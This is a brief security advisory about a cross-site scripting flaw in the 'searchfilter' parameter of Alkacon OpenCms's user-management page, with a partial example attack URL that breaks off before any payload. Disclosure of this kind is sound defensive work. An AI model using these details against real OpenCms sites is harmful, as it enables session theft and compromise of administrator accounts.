Alkacon OpenCms users_list.jsp searchfilter XSS

Product: Alkacon OpenCms

http://www.opencms.org/

OpenCms contains a cross-site scripting vulnerability in the user management function. Input to parameter searchfilter in page opencms/system/workplace/admin/accounts/users_list.jsp is not sufficiently validated and/or sanitized before it gets embedded in the resulting web page.

Example:

http://(target)/opencms/system/workplace/admin/accounts/users_list.jsp?

ispopup=&action=listsearch&framename=&title=

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
